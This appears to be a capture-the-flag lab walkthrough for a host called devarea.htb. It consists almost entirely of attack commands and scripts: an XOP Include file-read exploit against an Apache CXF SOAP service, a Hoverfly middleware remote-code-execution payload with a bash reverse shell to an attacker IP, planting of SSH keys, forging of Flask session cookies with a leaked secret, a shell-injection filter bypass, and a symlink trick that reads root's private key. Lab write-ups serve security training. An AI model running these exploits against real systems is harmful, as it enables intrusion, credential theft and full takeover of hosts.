rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.13.68
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.27.v20200227)
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 03:02:45 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 03:02:17 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 03:02:19 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard

ftp anonymous@devarea.htb

factory.setAddress("http://0.0.0.0:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");

public interface EmployeeService {
    String submitReport(Report report);
}

private String employeeName;
private String department;
private String content;
private boolean confidential;

return greeting + ". Department: " + report.getDepartment() + ". Content: " + report.getContent();

http://devarea.htb:8080/employeeservice
http://devarea.htb:8080/employeeservice?wsdl

curl http://devarea.htb:8080/employeeservice?wsdl

<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
  <wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">

  <xs:element name="submitReport" type="tns:submitReport"/>

  <xs:element name="submitReportResponse" type="tns:submitReportResponse"/>

  <xs:complexType name="submitReport">
    <xs:sequence>
      <xs:element minOccurs="0" name="arg0" type="tns:report"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="report">
    <xs:sequence>
      <xs:element name="confidential" type="xs:boolean"/>
      <xs:element minOccurs="0" name="content" type="xs:string"/>
      <xs:element minOccurs="0" name="department" type="xs:string"/>
      <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="submitReportResponse">
    <xs:sequence>
      <xs:element minOccurs="0" name="return" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

</xs:schema>
  </wsdl:types>
  <wsdl:message name="submitReport">
    <wsdl:part element="tns:submitReport" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:message name="submitReportResponse">
    <wsdl:part element="tns:submitReportResponse" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:portType name="EmployeeService">
    <wsdl:operation name="submitReport">
      <wsdl:input message="tns:submitReport" name="submitReport">
    </wsdl:input>
      <wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
    </wsdl:output>
    </wsdl:operation>
  </wsdl:portType>
  <wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="submitReport">
      <soap:operation soapAction="" style="document"/>
      <wsdl:input name="submitReport">
        <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output name="submitReportResponse">
        <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
  </wsdl:binding>
  <wsdl:service name="EmployeeServiceService">
    <wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
      <soap:address location="http://devarea.htb:8080/employeeservice"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>

<arg0>
  <confidential>false</confidential>
  <content>...</content>
  <department>...</department>
  <employeeName>...</employeeName>
</arg0>

curl -s http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -d @- <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName>test</employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>
EOF

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
   <soap:Body>
      <ns2:submitReportResponse xmlns:ns2="http://devarea.htb/">
         <return>Report received from test. Department: IT. Content: hello</return>
      </ns2:submitReportResponse>
   </soap:Body>
</soap:Envelope>

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

META-INF/maven/org.apache.cxf/cxf-core/pom.properties
META-INF/maven/org.apache.cxf/cxf-rt-frontend-jaxws/pom.properties

version=3.2.14

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

------devarea
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root@devarea>

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>
------devarea--

curl -s -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<root@devarea>"; start-info="text/xml"; boundary="----devarea"' \
  --data-binary @poc.req

#!/usr/bin/env python3
import base64
import re
import sys
from pathlib import Path

import requests

TARGET = "http://devarea.htb:8080/employeeservice"
BOUNDARY = "----devarea"


def build_body(uri: str) -> str:
    xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{uri}"/></employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>"""
    return (
        f"--{BOUNDARY}\r\n"
        'Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\n'
        "Content-Transfer-Encoding: 8bit\r\n"
        "Content-ID: <root@devarea>\r\n\r\n"
        f"{xml}\r\n"
        f"--{BOUNDARY}--\r\n"
    )


def main() -> int:
    if len(sys.argv) != 2:
        print(f"Usage: {Path(sys.argv[0]).name} <file://path>")
        print("Example:")
        print(f"  {Path(sys.argv[0]).name} file:///etc/passwd")
        print(f"  {Path(sys.argv[0]).name} /etc/hosts")
        return 1

    uri = sys.argv[1]
    if "://" not in uri:
        uri = "file:///" + uri.lstrip("/")

    body = build_body(uri)
    headers = {
        "Content-Type": f'multipart/related; type="application/xop+xml"; start="<root@devarea>"; start-info="text/xml"; boundary="{BOUNDARY}"'
    }

    response = requests.post(TARGET, data=body.encode(), headers=headers, timeout=10)
    match = re.search(r"Report received from ([^.]+)\. Department:", response.text)

    if not match:
        print(response.text)
        return 1

    data = match.group(1)
    try:
        print(base64.b64decode(data).decode())
    except Exception:
        print(data)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

hoverctl start --auth
hoverctl start --auth --username <user> --password <pass>

/etc/systemd/system/hoverfly.service

Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

func (this *Middleware) SetScript(scriptContent string) error {
    tempDir := path.Join(os.TempDir(), "hoverfly")
    os.Mkdir(tempDir, 0777)
    newScript, err := os.CreateTemp(tempDir, "hoverfly_") 
    _, err = newScript.Write([]byte(scriptContent)) // write input to disk
    this.DeleteScript()
    this.Script = newScript // handle kept to the user-controlled script
    return nil
}

func (this *Middleware) SetBinary(binary string) error {
    this.Binary = binary // store user-controlled executable path
    return nil
}

func (this Middleware) executeMiddlewareLocally(pair models.RequestResponsePair) (models.RequestResponsePair, error) {
    var middlewareCommand *exec.Cmd
    if this.Script == nil {
        middlewareCommand = exec.Command(this.Binary) // attacker controls the binary
    } else {
        middlewareCommand = exec.Command(this.Binary, this.Script.Name()) // attacker controls both values
    }

func (hf *Hoverfly) SetMiddleware(binary, script, remote string) error {
    err := newMiddleware.SetBinary(binary) // store attacker-controlled binary
    err = newMiddleware.SetScript(script)  // write attacker-controlled script
    _, err = newMiddleware.Execute(testData) // execute immediately during validation
    hf.Cfg.Middleware = *newMiddleware
    return nil
}

# Get a token 
jwt=$(curl -s -X POST http://devarea.htb:8888/api/token-auth \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"O7IJ27MyyXiU"}' | jq -r .token)

# Prepare listener:
nc -lnvp 443

# Use the returned JWT to install a malicious middleware
curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
    -H "Authorization: Bearer $jwt" \
    -H "Content-Type: application/json" \
    -d '{"binary":"/bin/bash","script":"#!/bin/bash\nbash -i >& /dev/tcp/'"$attackerIp"'/443 0>&1 &\ncat"}'

#!/bin/bash

# create ssh key pair
ssh-keygen -t ed25519 -f /tmp/k -N ""

# vars
u="dev_ryan"
d="devarea.htb"
pk="$(cat /tmp/k.pub)"
sp="/home/$u/.ssh"

# write pub key to home ssh path
cmd="install -d -m 700 $sp && printf '%s\n' '$pk' > $sp/authorized_keys && chmod 600 $p/authorized_keys"

### START EXPLOIT ###
jwt=$(curl -s -X POST http://devarea.htb:8888/api/token-auth \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"O7IJ27MyyXiU"}' | jq -r .token)

curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer $jwt" \
  -H "Content-Type: application/json" \
  -d '{"binary":"/bin/bash","script":"#!/bin/bash\n'"$cmd"'\ncat"}'
### END EXPLOIT ###

# connect
chmod 600 /tmp/k
ssh -i /tmp/k $u@$d

scp -i /tmp/k dev_ryan@devarea.htb:/home/dev_ryan/syswatch-v1.zip .

if [ "$(id -u)" -eq 0 ]; then
    main "$@"
else
    if [[ "${1:-}" == "logs" ]]; then
        main "$@"
    else
        echo "Access denied. Root required for this action." >&2
        exit 1
    fi
fi

if [ -L "$path" ]; then
    target=$(ls -l "$path" | awk '{print $NF}')
    if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
        resolved="$LOG_DIR/$target"
        [ -f "$resolved" ] && cat "$resolved" && return
    fi
    if [[ "$target" == /var/log/* ]]; then
        [ -f "$target" ] && cat "$target" && return
    fi
fi

chown -R syswatch:syswatch "$OPT_DIR/logs"
cat > "$ENV_FILE" <<EOF
SYSWATCH_SECRET_KEY=$SECRET
SYSWATCH_ADMIN_PASSWORD=$ADMIN
SYSWATCH_LOG_DIR=$OPT_DIR/logs
...
EOF
chmod 755 "$ENV_FILE"

[Service]
Type=simple
User=syswatch
Group=syswatch
EnvironmentFile=/etc/syswatch.env
ExecStart=/opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=7777, debug=False)

app.secret_key = os.environ.get("SYSWATCH_SECRET_KEY", "change-me")

cat > "$ENV_FILE" <<EOF
SYSWATCH_SECRET_KEY=$SECRET
SYSWATCH_ADMIN_PASSWORD=$ADMIN
...
EOF
chmod 755 "$ENV_FILE"

def require_login():
    if not session.get("user_id"):
        return redirect(url_for("login"))

pwd = os.environ.get("SYSWATCH_ADMIN_PASSWORD")
if pwd:
    cur.execute("INSERT INTO users(username, password_hash) VALUES(?, ?)", ("admin", generate_password_hash(pwd)))

SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0

@app.route("/service-status", methods=["GET", "POST"])
@app.route("/service-status/", methods=["GET", "POST"])
...
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
...
res = subprocess.run([f"systemctl status --no-pager {service}"], shell=True, capture_output=True, text=True, timeout=10)

ssh -i /tmp/k -L 7777:127.0.0.1:7777 dev_ryan@devarea.htb

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725"

s = SecureCookieSessionInterface().get_signing_serializer(app)
print(s.dumps({"user_id": 1, "username": "admin"}))

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

$(pwd|cut -c1)

$(python3 -c 'print(chr(46),end="")')

curl -s -b "session=$cookie" \
    -X POST http://127.0.0.1:7777/service-status \
    --data-urlencode "service=dbus|touch \$(pwd|cut -c1)tmp\$(pwd|cut -c1)pwned\$(python3 -c 'print(chr(46),end=\"\")')txt"

import re
import sys

import requests

cookie = "eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ackNpg.aQCNit5of3wsUpXECcEGcTnsufU"

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} '<command after dbus|...>'")
    print(f"Example: {sys.argv[0]} 'ln -sf /root/root.txt /opt/syswatch/logs/service.log'")
    sys.exit(1)

slash = "$(pwd|cut -c1)"
dot = "$(python3 -c 'print(chr(46),end=\"\")')"
command = sys.argv[1].replace("/", slash).replace(".", dot)
payload = "dbus|" + command

r = requests.post(
    "http://127.0.0.1:7777/service-status",
    cookies={"session": cookie},
    data={"service": payload},
    timeout=10,
)

m = re.search(r"<div class=\"log-box\"><pre>(.*?)</pre>", r.text, re.S)
print(m.group(1).strip() if m else "No result in response")

if [ -L "$path" ]; then
    target=$(ls -l "$path" | awk '{print $NF}')

    if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
        echo "[Blocked unsafe symlink target]: $file -> $target"
        return 1
    fi

    if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
        resolved="$LOG_DIR/$target"
        [ -f "$resolved" ] && cat "$resolved" && return
    fi

cmd='ln -sf /root/root.txt /opt/syswatch/logs/service.log
ln -sf service.log /opt/syswatch/logs/network.log'

python rce.py "$cmd"

sudo /opt/syswatch/syswatch.sh logs network.log

cmd='ln -sf /root/.ssh/authorized_keys /opt/syswatch/logs/service.log
ln -sf service.log /opt/syswatch/logs/network.log'

python rce.py "$cmd"

cmd='ln -sf /root/.ssh/id_ed25519 /opt/syswatch/logs/service.log
ln -sf service.log /opt/syswatch/logs/network.log'

python rce.py "$cmd"

# Read and output key
sudo /opt/syswatch/syswatch.sh logs network.log > /tmp/root_id_ed25519

# SSH login
chmod 600 /tmp/root_id_ed25519
ssh -i /tmp/root_id_ed25519 root@localhost